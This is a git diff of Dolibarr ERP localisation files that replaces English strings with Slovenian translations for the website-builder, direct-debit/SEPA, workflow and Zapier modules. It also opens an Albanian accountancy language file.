      Note: If you have a large file without to predpono, lahko uporabite 'lessc', da jo pretvorite tako, da povsod dodate predpono .bodywebsite. +LinkAndScriptsHereAreNotLoadedInEditor=Opozorilo: Ta vsebina je prikazana samo, ko se do spletnega mesta dostopa s strežnika. Ne uporablja se v načinu urejanja, tako da, če morate naložiti datoteke javascript tudi v načinu urejanja, preprosto dodajte svojo oznako 'script src=...' na stran. +Dynamiccontent=Primer strani z dinamično vsebino +ImportSite=Uvoz predloge spletnega mesta +EditInLineOnOff=Način 'Urejanje v vrstici' je %s +ShowSubContainersOnOff=Način za izvajanje 'dinamične vsebine' je %s +GlobalCSSorJS=Globalna datoteka CSS/JS/glava spletnega mesta +BackToHomePage=Nazaj na domačo stran ... +TranslationLinks=Prevajalske povezave +YouTryToAccessToAFileThatIsNotAWebsitePage=Poskušate dostopati do strani, ki ni na voljo.
      (ref=%s, tip=%s, status=%s) +UseTextBetween5And70Chars=Za dobre prakse SEO uporabite besedilo med 5 in 70 znaki +MainLanguage=Glavni jezik +OtherLanguages=Drugi jeziki +UseManifest=Navedite datoteko manifest.json +PublicAuthorAlias=Vzdevek javnega avtorja +AvailableLanguagesAreDefinedIntoWebsiteProperties=Razpoložljivi jeziki so opredeljeni v lastnostih spletnega mesta +ReplacementDoneInXPages=Zamenjava izvedena na %s straneh ali vsebnikih RSSFeed=Vir RSS -RSSFeedDesc=You can get a RSS feed of latest articles with type 'blogpost' using this URL -PagesRegenerated=%s page(s)/container(s) regenerated -RegenerateWebsiteContent=Regenerate web site cache files -AllowedInFrames=Allowed in Frames -DefineListOfAltLanguagesInWebsiteProperties=Define list of all available languages into web site properties. -GenerateSitemaps=Generate website sitemap file -ConfirmGenerateSitemaps=If you confirm, you will erase the existing sitemap file... -ConfirmSitemapsCreation=Confirm sitemap generation -SitemapGenerated=Sitemap file %s generated +RSSFeedDesc=S tem URL-jem lahko dobite vir RSS najnovejših člankov z vrsto 'blogpost' +PagesRegenerated=%s ponovno ustvarjene strani/vsebniki +RegenerateWebsiteContent=Znova ustvari predpomnilniške datoteke spletnega mesta +AllowedInFrames=Dovoljeno v okvirjih +DefineListOfAltLanguagesInWebsiteProperties=Določite seznam vseh razpoložljivih jezikov v lastnostih spletnega mesta. +GenerateSitemaps=Ustvari datoteko sitemap.xml spletne strani +ConfirmGenerateSitemaps=Če potrdite, boste izbrisali obstoječo datoteko zemljevida mesta ... +ConfirmSitemapsCreation=Potrdite ustvarjanje zemljevida spletnega mesta +SitemapGenerated=Datoteka zemljevida spletnega mesta %s ustvarjena ImportFavicon=Favicon -ErrorFaviconType=Favicon must be png -ErrorFaviconSize=Favicon must be sized 16x16, 32x32 or 64x64 -FaviconTooltip=Upload an image which needs to be a png (16x16, 32x32 or 64x64) +ErrorFaviconType=Favicon mora biti png +ErrorFaviconSize=Favicon mora biti velikosti 16x16, 32x32 ali 64x64 +FaviconTooltip=Naložite sliko, ki mora biti png (16x16, 32x32 ali 64x64) +NextContainer=Naslednja stran/vsebnik +PreviousContainer=Prejšnja stran/vsebnik +WebsiteMustBeDisabled=Spletna stran mora imeti status "%s" +WebpageMustBeDisabled=Spletna stran mora imeti status "%s" +SetWebsiteOnlineBefore=Ko je spletno mesto brez povezave, so vse strani brez povezave. Najprej spremenite status spletne strani. +Booking=Booking +Reservation=Reservation diff --git a/htdocs/langs/sl_SI/withdrawals.lang b/htdocs/langs/sl_SI/withdrawals.lang index 55f7143afcb..9e5f377d443 100644 --- a/htdocs/langs/sl_SI/withdrawals.lang +++ b/htdocs/langs/sl_SI/withdrawals.lang @@ -1,156 +1,163 @@ # Dolibarr language file - Source file is en_US - withdrawals -CustomersStandingOrdersArea=Payments by Direct debit orders -SuppliersStandingOrdersArea=Payments by Credit transfer -StandingOrdersPayment=Direct debit payment orders -StandingOrderPayment=Direct debit payment order -NewStandingOrder=New direct debit order -NewPaymentByBankTransfer=New payment by credit transfer +CustomersStandingOrdersArea=Plačila z nalogi za direktno obremenitev +SuppliersStandingOrdersArea=Plačila s kreditnim nakazilom +StandingOrdersPayment=Plačilni nalogi z direktno obremenitvijo +StandingOrderPayment=Plačilni nalog za direktno obremenitev +NewStandingOrder=Nov nalog za direktno bremenitev +NewPaymentByBankTransfer=Novo plačilo s kreditnim nakazilom StandingOrderToProcess=Za obdelavo -PaymentByBankTransferReceipts=Credit transfer orders -PaymentByBankTransferLines=Credit transfer order lines -WithdrawalsReceipts=Direct debit orders -WithdrawalReceipt=Direct debit order -BankTransferReceipts=Credit transfer orders -BankTransferReceipt=Credit transfer order -LatestBankTransferReceipts=Latest %s credit transfer orders -LastWithdrawalReceipts=Latest %s direct debit files -WithdrawalsLine=Direct debit order line -CreditTransfer=Credit transfer -CreditTransferLine=Credit transfer line -WithdrawalsLines=Direct debit order lines -CreditTransferLines=Credit transfer lines -RequestStandingOrderToTreat=Requests for direct debit payment order to process -RequestStandingOrderTreated=Requests for direct debit payment order processed -RequestPaymentsByBankTransferToTreat=Requests for credit transfer to process -RequestPaymentsByBankTransferTreated=Requests for credit transfer processed +PaymentByBankTransferReceipts=Kreditni nalogi +PaymentByBankTransferLines=Vrstice naloga za nakazilo kredita +WithdrawalsReceipts=Nalogi za direktno bremenitev +WithdrawalReceipt=Nalog za direktno bremenitev +BankTransferReceipts=Kreditni nalogi +BankTransferReceipt=Nalog za nakazilo +LatestBankTransferReceipts=Najnovejši %s kreditni nalogi +LastWithdrawalReceipts=Najnovejše datoteke z direktno bremenitvijo %s +WithdrawalsLine=Vrstica naloga za direktno bremenitev +CreditTransfer=Nakazilo kredita +CreditTransferLine=Linija za prenos kredita +WithdrawalsLines=Vrstice naročila za direktno obremenitev +CreditTransferLines=Linije za prenos kreditov +RequestStandingOrderToTreat=Zahtevki za plačilni nalog z direktno bremenitvijo za obdelavo +RequestStandingOrderTreated=Zahtevki za plačilni nalog z direktno obremenitvijo obdelani +RequestPaymentsByBankTransferToTreat=Zahtevki za prenos kredita v obdelavo +RequestPaymentsByBankTransferTreated=Zahtevki za kreditno nakazilo obdelani NotPossibleForThisStatusOfWithdrawReceiptORLine=Trenutno ni možno. Status nakazila je potrebno nastaviti na 'kreditiran' pred zavrnitvijo specifičnih vrstic. -NbOfInvoiceToWithdraw=No. of qualified customer invoices with waiting direct debit order -NbOfInvoiceToWithdrawWithInfo=No. of customer invoice with direct debit payment orders having defined bank account information -NbOfInvoiceToPayByBankTransfer=No. of qualified supplier invoices waiting for a payment by credit transfer -SupplierInvoiceWaitingWithdraw=Vendor invoice waiting for payment by credit transfer -InvoiceWaitingWithdraw=Invoice waiting for direct debit -InvoiceWaitingPaymentByBankTransfer=Invoice waiting for credit transfer +NbOfInvoiceToWithdraw=Število kvalificiranih računov strank s čakajočim nalogom za direktno bremenitev +NbOfInvoiceToWithdrawWithInfo=št. računa kupca z nalogi za direktne obremenitve z definiranimi podatki o bančnem računu +NbOfInvoiceToPayByBankTransfer=Število računov kvalificiranega dobavitelja, ki čakajo na plačilo s kreditnim nakazilom +SupplierInvoiceWaitingWithdraw=Račun dobavitelja čaka na plačilo s kreditnim nakazilom +InvoiceWaitingWithdraw=Račun čaka na direktno bremenitev +InvoiceWaitingPaymentByBankTransfer=Račun čaka na dobropis AmountToWithdraw=Vrednost za nakazilo -NoInvoiceToWithdraw=No invoice open for '%s' is waiting. Go on tab '%s' on invoice card to make a request. -NoSupplierInvoiceToWithdraw=No supplier invoice with open 'Direct credit requests' is waiting. Go on tab '%s' on invoice card to make a request. -ResponsibleUser=User Responsible -WithdrawalsSetup=Direct debit payment setup -CreditTransferSetup=Credit transfer setup -WithdrawStatistics=Direct debit payment statistics -CreditTransferStatistics=Credit transfer statistics +AmountToTransfer=Znesek za prenos +NoInvoiceToWithdraw=Noben odprt račun za '%s' ne čaka. Pojdite na zavihek '%s' na kartici računa, da podate zahtevo. +NoSupplierInvoiceToWithdraw=No supplier invoice with open '%s' is waiting. Go on tab '%s' on invoice card to make a request. +ResponsibleUser=Uporabnik odgovoren +WithdrawalsSetup=Nastavitev plačila z direktno bremenitvijo +CreditTransferSetup=Nastavitev prenosa kredita +WithdrawStatistics=Statistika plačil z direktno obremenitvijo +CreditTransferStatistics=Statistika prenosa kredita Rejects=Zavrnitve -LastWithdrawalReceipt=Latest %s direct debit receipts -MakeWithdrawRequest=Make a direct debit payment request -MakeBankTransferOrder=Make a credit transfer request -WithdrawRequestsDone=%s direct debit payment requests recorded -BankTransferRequestsDone=%s credit transfer requests recorded -ThirdPartyBankCode=Third-party bank code -NoInvoiceCouldBeWithdrawed=No invoice debited successfully. Check that invoices are on companies with a valid IBAN and that IBAN has a UMR (Unique Mandate Reference) with mode %s. -WithdrawalCantBeCreditedTwice=This withdrawal receipt is already marked as credited; this can't be done twice, as this would potentially create duplicate payments and bank entries. +LastWithdrawalReceipt=Najnovejša potrdila o neposredni bremenitvi %s +MakeWithdrawRequest=Izvedite plačilo z direktno bremenitvijo +MakeWithdrawRequestStripe=Izvedite plačilo z direktno bremenitvijo prek storitve Stripe +MakeBankTransferOrder=Vložite zahtevo za nakazilo kredita +WithdrawRequestsDone=%s zabeležene zahteve za plačilo z direktno bremenitvijo +BankTransferRequestsDone=%s zabeležene zahteve za kreditna nakazila +ThirdPartyBankCode=Koda banke partnerja +NoInvoiceCouldBeWithdrawed=Noben račun ni bil uspešno bremenjen. Preverite, ali so računi za podjetja z veljavnim IBAN in ali ima IBAN UMR (Unique Mandate Reference) z načinom %s . +WithdrawalCantBeCreditedTwice=To potrdilo o dvigu je že označeno kot knjiženo; tega ni mogoče storiti dvakrat, saj bi to lahko ustvarilo podvojena plačila in bančne vnose. ClassCredited=Označi kot prejeto -ClassDebited=Classify debited +ClassDebited=Razvrsti bremenitve ClassCreditedConfirm=Ali zares želite to potrdilo o nakazilu označiti kot »v dobro« na vašem bančnem računu ? TransData=Datum prenosa TransMetod=Metoda prenosa Send=Pošlji Lines=Vrstice StandingOrderReject=Izdaja zavrnitve -WithdrawsRefused=Direct debit refused +WithdrawsRefused=Neposredna bremenitev zavrnjena WithdrawalRefused=Zavrnjena nakazila -CreditTransfersRefused=Credit transfers refused +CreditTransfersRefused=Kreditni prenosi zavrnjeni WithdrawalRefusedConfirm=Ali zares želite vnesti zavrnitev nakazila za družbo RefusedData=Datum zavrnitve RefusedReason=Razlog za zavrnitev RefusedInvoicing=Zaračunavanje zavrnitev NoInvoiceRefused=Ne zaračunaj zavrnitve InvoiceRefused=Zavrnjen račun (zaračunati zavrnitev stranki) -StatusDebitCredit=Status debit/credit +StatusDebitCredit=Status debet/kredit StatusWaiting=Na čakanju StatusTrans=Prenešeno -StatusDebited=Debited +StatusDebited=V breme StatusCredited=Odobreno StatusPaid=Plačano StatusRefused=Zavrnjeno StatusMotif0=Nedoločeno StatusMotif1=Nezadostno stanje StatusMotif2=Sporna izdaja -StatusMotif3=No direct debit payment order +StatusMotif3=Brez plačilnega naloga z direktno bremenitvijo StatusMotif4=Naročilo StatusMotif5=RIB ni možno izkoristiti StatusMotif6=Račun brez bilance StatusMotif7=Sodne odločbe StatusMotif8=Drugih razlogi -CreateForSepaFRST=Create direct debit file (SEPA FRST) -CreateForSepaRCUR=Create direct debit file (SEPA RCUR) -CreateAll=Create direct debit file -CreateFileForPaymentByBankTransfer=Create file for credit transfer -CreateSepaFileForPaymentByBankTransfer=Create credit transfer file (SEPA) +CreateForSepaFRST=Ustvari datoteko z direktno bremenitvijo (SEPA FRST) +CreateForSepaRCUR=Ustvari datoteko z direktno bremenitvijo (SEPA RCUR) +CreateAll=Ustvari datoteko z direktno bremenitvijo +CreateFileForPaymentByBankTransfer=Ustvari datoteko za prenos kredita +CreateSepaFileForPaymentByBankTransfer=Ustvari datoteko za kreditni prenos (SEPA) CreateGuichet=Samo urad CreateBanque=Samo banka OrderWaiting=Čakanje na postopek -NotifyTransmision=Record file transmission of order -NotifyCredit=Record credit of order +NotifyTransmision=Posnetek prenosa naročila +NotifyCredit=Zabeležite dobropis naročila NumeroNationalEmetter=Nacionalna številka prenosa WithBankUsingRIB=Za bančne račune, ki uporabljajo RIB WithBankUsingBANBIC=Za bančne račune, ki uporabljajo IBAN/BIC/SWIFT -BankToReceiveWithdraw=Receiving Bank Account -BankToPayCreditTransfer=Bank Account used as source of payments +BankToReceiveWithdraw=Prejem bančnega računa +BankToPayCreditTransfer=Bančni račun, uporabljen kot vir plačil CreditDate=Datum kredita WithdrawalFileNotCapable=Ni možno generirati datoteke za prejem nakazil za vašo državo %s (vaša država ni podprta) -ShowWithdraw=Show Direct Debit Order -IfInvoiceNeedOnWithdrawPaymentWontBeClosed=However, if invoice has at least one direct debit payment order not yet processed, it won't be set as paid to allow prior withdrawal management. -DoStandingOrdersBeforePayments=This tab allows you to request a direct debit payment order. Once done, go into menu Bank->Payment by direct debit to generate and manage the direct debit order. When direct debit order is closed, payment on invoices will be automatically recorded, and invoices closed if remainder to pay is null. -DoCreditTransferBeforePayments=This tab allows you to request a credit transfer order. Once done, go into menu Bank->Payment by credit transfer to generate and manage the credit transfer order. When credit transfer order is closed, payment on invoices will be automatically recorded, and invoices closed if remainder to pay is null. -WithdrawalFile=Debit order file -CreditTransferFile=Credit transfer file +ShowWithdraw=Prikaži nalog za direktno bremenitev +IfInvoiceNeedOnWithdrawPaymentWontBeClosed=Če pa ima račun vsaj en plačilni nalog z direktno bremenitvijo, ki še ni obdelan, ne bo nastavljen kot plačan, da bi omogočili predhodno upravljanje dvigov. +DoStandingOrdersBeforePayments=Ta zavihek vam omogoča, da zahtevate plačilni nalog z direktno bremenitvijo. Ko končate, lahko greste v meni »Banka->Plačilo z direktno bremenitvijo«, da ustvarite in upravljate datoteko naloga za direktno bremenitev. +DoStandingOrdersBeforePayments2=Zahtevo lahko pošljete tudi neposredno plačilnemu procesorju SEPA, kot je Stripe, ... +DoStandingOrdersBeforePayments3=Ko je nalog za direktno obremenitev zaprt, se plačilo na računih samodejno zabeleži, računi pa se zaprejo, če je preostanek za plačilo ničen. +DoCreditTransferBeforePayments=Ta zavihek vam omogoča, da zahtevate nalog za dobroimetje. Ko končate, pojdite v meni »Banka->Plačilo s kreditnim nakazilom«, da ustvarite in upravljate datoteko naloga za kreditno nakazilo. +DoCreditTransferBeforePayments3=Ko je nalog za dobroimetje zaprt, se plačilo na računih samodejno zabeleži, računi pa se zaprejo, če je ostanek za plačilo nič. +WithdrawalFile=Datoteka z debetnim nalogom +CreditTransferFile=Datoteka za prenos kredita SetToStatusSent=Nastavi status na "Datoteka poslana" -ThisWillAlsoAddPaymentOnInvoice=This will also record payments on invoices and will classify them as "Paid" if remain to pay is null +ThisWillAlsoAddPaymentOnInvoice=To bo zabeležilo tudi plačila na računih in jih razvrstilo kot »Plačano«, če je preostalo plačilo nič StatisticsByLineStatus=Statistika po statusu vrstic RUM=UMR -DateRUM=Mandate signature date -RUMLong=Unique Mandate Reference -RUMWillBeGenerated=If empty, a UMR (Unique Mandate Reference) will be generated once the bank account information is saved. -WithdrawMode=Direct debit mode (FRST or RECUR) -WithdrawRequestAmount=Amount of Direct debit request: -BankTransferAmount=Amount of Credit Transfer request: -WithdrawRequestErrorNilAmount=Unable to create direct debit request for empty amount. -SepaMandate=SEPA Direct Debit Mandate -SepaMandateShort=SEPA Mandate -PleaseReturnMandate=Please return this mandate form by email to %s or by mail to -SEPALegalText=By signing this mandate form, you authorize (A) %s to send instructions to your bank to debit your account and (B) your bank to debit your account in accordance with the instructions from %s. As part of your rights, you are entitled to a refund from your bank under the terms and conditions of your agreement with your bank. Your rights regarding the above mandate are explained in a statement that you can obtain from your bank. -CreditorIdentifier=Creditor Identifier -CreditorName=Creditor Name -SEPAFillForm=(B) Please complete all the fields marked * -SEPAFormYourName=Your name -SEPAFormYourBAN=Your Bank Account Name (IBAN) -SEPAFormYourBIC=Your Bank Identifier Code (BIC) -SEPAFrstOrRecur=Type of payment -ModeRECUR=Recurring payment -ModeFRST=One-off payment -PleaseCheckOne=Please check one only -CreditTransferOrderCreated=Credit transfer order %s created -DirectDebitOrderCreated=Direct debit order %s created -AmountRequested=Amount requested +DateRUM=Datum podpisa mandata +RUMLong=Edinstvena referenca mandata +RUMWillBeGenerated=Če je polje prazno, bo UMR (enotna referenca mandata) ustvarjen, ko bodo podatki o bančnem računu shranjeni. +WithdrawMode=Način neposredne bremenitve (FRST ali RECUR) +WithdrawRequestAmount=Znesek zahteve za direktno bremenitev: +BankTransferAmount=Znesek zahteve za nakazilo kredita: +WithdrawRequestErrorNilAmount=Ni mogoče ustvariti zahteve za direktno bremenitev za prazen znesek. +SepaMandate=Pooblastilo za direktno obremenitev SEPA +SepaMandateShort=Mandat SEPA +PleaseReturnMandate=Prosimo, vrnite ta obrazec pooblastila po e-pošti na %s ali po pošti na +SEPALegalText=S podpisom tega pooblastila pooblaščate (A) %s in njegovega ponudnika plačilnih storitev, da vaši banki pošljejo navodila za bremenitev vašega računa in (B) vašo banko, da bremeni vaš račun v skladu z navodili %s. Kot del vaših pravic ste upravičeni do povračila od vaše banke v skladu s pogoji vaše pogodbe z vašo banko. Vaše pravice v zvezi z zgornjim pooblastilom so pojasnjene v izjavi, ki jo lahko dobite pri svoji banki. +CreditorIdentifier=Identifikator upnika +CreditorName=Ime upnika +SEPAFillForm=(B) Izpolnite vsa polja, označena z * +SEPAFormYourName=Tvoje ime +SEPAFormYourBAN=Ime vašega bančnega računa (IBAN) +SEPAFormYourBIC=Identifikacijska koda vaše banke (BIC) +SEPAFrstOrRecur=Vrsta plačila +ModeRECUR=Ponavljajoče se plačilo +ModeFRST=Enkratno plačilo +PleaseCheckOne=Prosimo označite samo enega +CreditTransferOrderCreated=Nalog za nakazilo %s ustvarjen +DirectDebitOrderCreated=Nalog za direktno bremenitev %s ustvarjen +AmountRequested=Zahtevani znesek SEPARCUR=SEPA CUR SEPAFRST=SEPA FRST -ExecutionDate=Execution date -CreateForSepa=Create direct debit file -ICS=Creditor Identifier - ICS -END_TO_END="EndToEndId" SEPA XML tag - Unique id assigned per transaction -USTRD="Unstructured" SEPA XML tag -ADDDAYS=Add days to Execution Date -NoDefaultIBANFound=No default IBAN found for this third party +ExecutionDate=Datum izvršitve +CreateForSepa=Ustvari datoteko z direktno bremenitvijo +ICS=Identifikator upnika – ICS +IDS=Identifikator dolžnika +END_TO_END=Oznaka XML "EndToEndId" SEPA - Enolični ID, dodeljen na transakcijo +USTRD="Nestrukturirana" oznaka SEPA XML +ADDDAYS=Datumu izvršitve dodajte dneve +NoDefaultIBANFound=Privzeti IBAN za partnerja ni bil najden ### Notifications -InfoCreditSubject=Payment of direct debit payment order %s by the bank -InfoCreditMessage=The direct debit payment order %s has been paid by the bank
      Data of payment: %s -InfoTransSubject=Transmission of direct debit payment order %s to bank -InfoTransMessage=The direct debit payment order %s has been sent to bank by %s %s.

      +InfoCreditSubject=Plačilo direktne obremenitve plačilnega naloga %s s strani banke +InfoCreditMessage=Plačilni nalog za direktno bremenitev %s je banka plačala
      Podatki o plačilu: %s +InfoTransSubject=Posredovanje plačilnega naloga za direktno bremenitev %s banki +InfoTransMessage=Plačilni nalog za direktno bremenitev %s je banki poslal %s %s.

      InfoTransData=Znesek: %s
      Način: %s
      Datum: %s -InfoRejectSubject=Direct debit payment order refused -InfoRejectMessage=Hello,

      the direct debit payment order of invoice %s related to the company %s, with an amount of %s has been refused by the bank.

      --
      %s +InfoRejectSubject=Plačilni nalog za direktno obremenitev zavrnjen +InfoRejectMessage=Pozdravljeni,

      banka je zavrnila plačilni nalog za direktno obremenitev računa %s v zvezi s podjetjem %s z zneskom %s.

      --
      %s ModeWarning=Opcija za delo v živo ni bila nastavljena, zato se bo sistem ustavil po simulaciji -ErrorCompanyHasDuplicateDefaultBAN=Company with id %s has more than one default bank account. No way to know wich one to use. -ErrorICSmissing=Missing ICS in Bank account %s -TotalAmountOfdirectDebitOrderDiffersFromSumOfLines=Total amount of direct debit order differs from sum of lines -WarningSomeDirectDebitOrdersAlreadyExists=Warning: There is already some pending Direct Debit orders (%s) requested for an amount of %s -WarningSomeCreditTransferAlreadyExists=Warning: There is already some pending Credit Transfer (%s) requested for an amount of %s +ErrorCompanyHasDuplicateDefaultBAN=Podjetje z ID-jem %s ima več kot en privzeti bančni račun. Ni načina, da bi vedel, katerega uporabiti. +ErrorICSmissing=Manjka ICS na bančnem računu %s +TotalAmountOfdirectDebitOrderDiffersFromSumOfLines=Skupni znesek naloga za direktno bremenitev se razlikuje od vsote vrstic +WarningSomeDirectDebitOrdersAlreadyExists=Opozorilo: Nekaj čakajočih nalogov za direktno bremenitev (%s) je že zahtevanih za znesek %s +WarningSomeCreditTransferAlreadyExists=Opozorilo: Za znesek %s je že na voljo nekaj čakajočega kreditnega nakazila (%s). +UsedFor=Uporablja se za %s diff --git a/htdocs/langs/sl_SI/workflow.lang b/htdocs/langs/sl_SI/workflow.lang index 93ddb52a75a..1f361b60af7 100644 --- a/htdocs/langs/sl_SI/workflow.lang +++ b/htdocs/langs/sl_SI/workflow.lang @@ -1,26 +1,36 @@ # Dolibarr language file - Source file is en_US - workflow WorkflowSetup=Nastavitev modula poteka dela -WorkflowDesc=This module provides some automatic actions. By default, the workflow is open (you can do things in the order you want) but here you can activate some automatic actions. +WorkflowDesc=Ta modul ponuja nekaj samodejnih dejanj. Privzeto je potek dela odprt (stvari lahko počnete v želenem vrstnem redu), vendar lahko tukaj aktivirate nekaj samodejnih dejanj. ThereIsNoWorkflowToModify=Prilagajanje poteka dela za aktivirane module ni na voljo. # Autocreate -descWORKFLOW_PROPAL_AUTOCREATE_ORDER=Automatically create a sales order after a commercial proposal is signed (the new order will have same amount as the proposal) -descWORKFLOW_PROPAL_AUTOCREATE_INVOICE=Automatically create a customer invoice after a commercial proposal is signed (the new invoice will have same amount as the proposal) +descWORKFLOW_PROPAL_AUTOCREATE_ORDER=Samodejno ustvarite prodajno naročilo po podpisu komercialne ponudbe (novo naročilo bo imelo enak znesek kot ponudba) +descWORKFLOW_PROPAL_AUTOCREATE_INVOICE=Samodejno ustvarite račun stranke po podpisu komercialne ponudbe (nov račun bo imel enak znesek kot ponudba) descWORKFLOW_CONTRACT_AUTOCREATE_INVOICE=Samodejno ustvari račun za kupca, po validaciji pogodbe. -descWORKFLOW_ORDER_AUTOCREATE_INVOICE=Automatically create a customer invoice after a sales order is closed (the new invoice will have same amount as the order) +descWORKFLOW_ORDER_AUTOCREATE_INVOICE=Samodejno ustvarite račun stranke, ko je prodajno naročilo zaprto (nov račun bo imel enak znesek kot naročilo) +descWORKFLOW_TICKET_CREATE_INTERVENTION=Pri ustvarjanju vozovnice samodejno ustvarite intervencijo. # Autoclassify customer proposal or order -descWORKFLOW_ORDER_CLASSIFY_BILLED_PROPAL=Classify linked source proposal as billed when sales order is set to billed (and if the amount of the order is the same as the total amount of the signed linked proposal) -descWORKFLOW_INVOICE_CLASSIFY_BILLED_PROPAL=Classify linked source proposal as billed when customer invoice is validated (and if the amount of the invoice is the same as the total amount of the signed linked proposal) -descWORKFLOW_INVOICE_AMOUNT_CLASSIFY_BILLED_ORDER=Classify linked source sales order as billed when customer invoice is validated (and if the amount of the invoice is the same as the total amount of the linked order) -descWORKFLOW_INVOICE_CLASSIFY_BILLED_ORDER=Classify linked source sales order as billed when customer invoice is set to paid (and if the amount of the invoice is the same as the total amount of the linked order) -descWORKFLOW_ORDER_CLASSIFY_SHIPPED_SHIPPING=Classify linked source sales order as shipped when a shipment is validated (and if the quantity shipped by all shipments is the same as in the order to update) -descWORKFLOW_ORDER_CLASSIFY_SHIPPED_SHIPPING_CLOSED=Classify linked source sales order as shipped when a shipment is closed (and if the quantity shipped by all shipments is the same as in the order to update) +descWORKFLOW_ORDER_CLASSIFY_BILLED_PROPAL=Razvrsti predlog povezanega vira kot zaračunan, ko je prodajno naročilo nastavljeno na zaračunano (in če je znesek naročila enak skupnemu znesku podpisanega povezanega predloga) +descWORKFLOW_INVOICE_CLASSIFY_BILLED_PROPAL=Razvrsti predlog povezanega vira kot zaračunan, ko je račun stranke potrjen (in če je znesek računa enak skupnemu znesku podpisanega povezanega predloga) +descWORKFLOW_INVOICE_AMOUNT_CLASSIFY_BILLED_ORDER=Razvrsti prodajno naročilo povezanega vira kot zaračunano, ko je račun stranke potrjen (in če je znesek računa enak skupnemu znesku povezanega naročila) +descWORKFLOW_INVOICE_CLASSIFY_BILLED_ORDER=Razvrsti prodajno naročilo povezanega vira kot zaračunano, ko je račun stranke nastavljen na plačan (in če je znesek računa enak skupnemu znesku povezanega naročila) +descWORKFLOW_ORDER_CLASSIFY_SHIPPED_SHIPPING=Razvrsti prodajno naročilo povezanega vira kot poslano, ko je pošiljka potrjena (in če je količina, poslana z vsemi pošiljkami, enaka kot v naročilu za posodobitev) +descWORKFLOW_ORDER_CLASSIFY_SHIPPED_SHIPPING_CLOSED=Razvrsti prodajno naročilo povezanega vira kot poslano, ko je pošiljka zaprta (in če je količina, poslana z vsemi pošiljkami, enaka kot v naročilu za posodobitev) +# Autoclassify purchase proposal +descWORKFLOW_ORDER_CLASSIFY_BILLED_SUPPLIER_PROPOSAL=Razvrsti ponudbo ponudnika povezanega vira kot zaračunano, ko je račun prodajalca potrjen (in če je znesek računa enak skupnemu znesku povezane ponudbe) # Autoclassify purchase order -descWORKFLOW_ORDER_CLASSIFY_BILLED_SUPPLIER_PROPOSAL=Classify linked source vendor proposal as billed when vendor invoice is validated (and if the amount of the invoice is the same as the total amount of the linked proposal) -descWORKFLOW_INVOICE_AMOUNT_CLASSIFY_BILLED_SUPPLIER_ORDER=Classify linked source purchase order as billed when vendor invoice is validated (and if the amount of the invoice is the same as the total amount of the linked order) -descWORKFLOW_BILL_ON_RECEPTION=Classify receptions to "billed" when a linked supplier order is validated +descWORKFLOW_INVOICE_AMOUNT_CLASSIFY_BILLED_SUPPLIER_ORDER=Razvrsti naročilo povezanega vira kot zaračunano, ko je račun prodajalca potrjen (in če je znesek računa enak skupnemu znesku povezanega naročila) +descWORKFLOW_ORDER_CLASSIFY_RECEIVED_RECEPTION=Razvrsti naročilo povezanega vira kot prejeto, ko je sprejem potrjen (in če je količina, ki so jo prejeli vsi sprejemi, enaka kot v naročilu za posodobitev) +descWORKFLOW_ORDER_CLASSIFY_RECEIVED_RECEPTION_CLOSED=Razvrstite naročilo povezanega vira kot prejeto, ko je sprejem zaprt (in če je količina, ki so jo prejeli vsi sprejemi, enaka kot v naročilu za posodobitev) +# Autoclassify purchase invoice +descWORKFLOW_EXPEDITION_CLASSIFY_CLOSED_INVOICE=Prejeme razvrstite v »zaračunane«, ko je povezan račun za nakup potrjen (in če je znesek računa enak skupnemu znesku povezanih prejemov) +# Automatically link ticket to contract +descWORKFLOW_TICKET_LINK_CONTRACT=Ko ustvarjate vstopnico, povežite razpoložljive pogodbe z partnerjem +descWORKFLOW_TICKET_USE_PARENT_COMPANY_CONTRACTS=Pri povezovanju pogodb iščite med pogodbami matičnih podjetij # Autoclose intervention -descWORKFLOW_TICKET_CLOSE_INTERVENTION=Close all interventions linked to the ticket when a ticket is closed +descWORKFLOW_TICKET_CLOSE_INTERVENTION=Zaprite vse posege, povezane z vstopnico, ko je vstopnica zaprta AutomaticCreation=Samodejno generiranje AutomaticClassification=Samodejno spreminjanje statusa # Autoclassify shipment -descWORKFLOW_SHIPPING_CLASSIFY_CLOSED_INVOICE=Classify linked source shipment as closed when customer invoice is validated +descWORKFLOW_SHIPPING_CLASSIFY_CLOSED_INVOICE=Razvrsti pošiljko povezanega vira kot zaprto, ko je račun stranke potrjen (in če je znesek računa enak skupnemu znesku povezanih pošiljk) +AutomaticClosing=Samodejno zapiranje +AutomaticLinking=Samodejno povezovanje diff --git a/htdocs/langs/sl_SI/zapier.lang b/htdocs/langs/sl_SI/zapier.lang index b4cc4ccba4a..222304bcdb5 100644 --- a/htdocs/langs/sl_SI/zapier.lang +++ b/htdocs/langs/sl_SI/zapier.lang @@ -13,9 +13,9 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . -ModuleZapierForDolibarrName = Zapier for Dolibarr -ModuleZapierForDolibarrDesc = Zapier for Dolibarr module -ZapierForDolibarrSetup=Setup of Zapier for Dolibarr -ZapierDescription=Interface with Zapier -ZapierAbout=About the module Zapier -ZapierSetupPage=There is no need for a setup on Dolibarr side to use Zapier. However, you must generate and publish a package on zapier to be able to use Zapier with Dolibarr. See documentation on this wiki page. +ModuleZapierForDolibarrName = Zapier za Dolibarr +ModuleZapierForDolibarrDesc = Zapier za modul Dolibarr +ZapierForDolibarrSetup=Nastavitev Zapierja za Dolibarr +ZapierDescription=Vmesnik z Zapierjem +ZapierAbout=O modulu Zapier +ZapierSetupPage=Za uporabo Zapierja na strani Dolibarr ni potrebna nastavitev. Vendar pa morate ustvariti in objaviti paket na zapierju, da lahko uporabljate Zapier z Dolibarrom. Oglejte si dokumentacijo na tej strani wiki . diff --git a/htdocs/langs/sq_AL/accountancy.lang b/htdocs/langs/sq_AL/accountancy.lang index 190e3d67eec..190f34a0b95 100644 --- a/htdocs/langs/sq_AL/accountancy.lang +++ b/htdocs/langs/sq_AL/accountancy.lang @@ -48,8 +48,9 @@ CountriesNotInEEC=Countries not in EEC CountriesInEECExceptMe=Countries in EEC except %s CountriesExceptMe=All countries except %s AccountantFiles=Export source documents -ExportAccountingSourceDocHelp=With this tool, you can export the source events (list in CSV and PDFs) that are used to generate your accountancy. +ExportAccountingSourceDocHelp=With this tool, you can search and export the source events that are used to generate your accountancy.
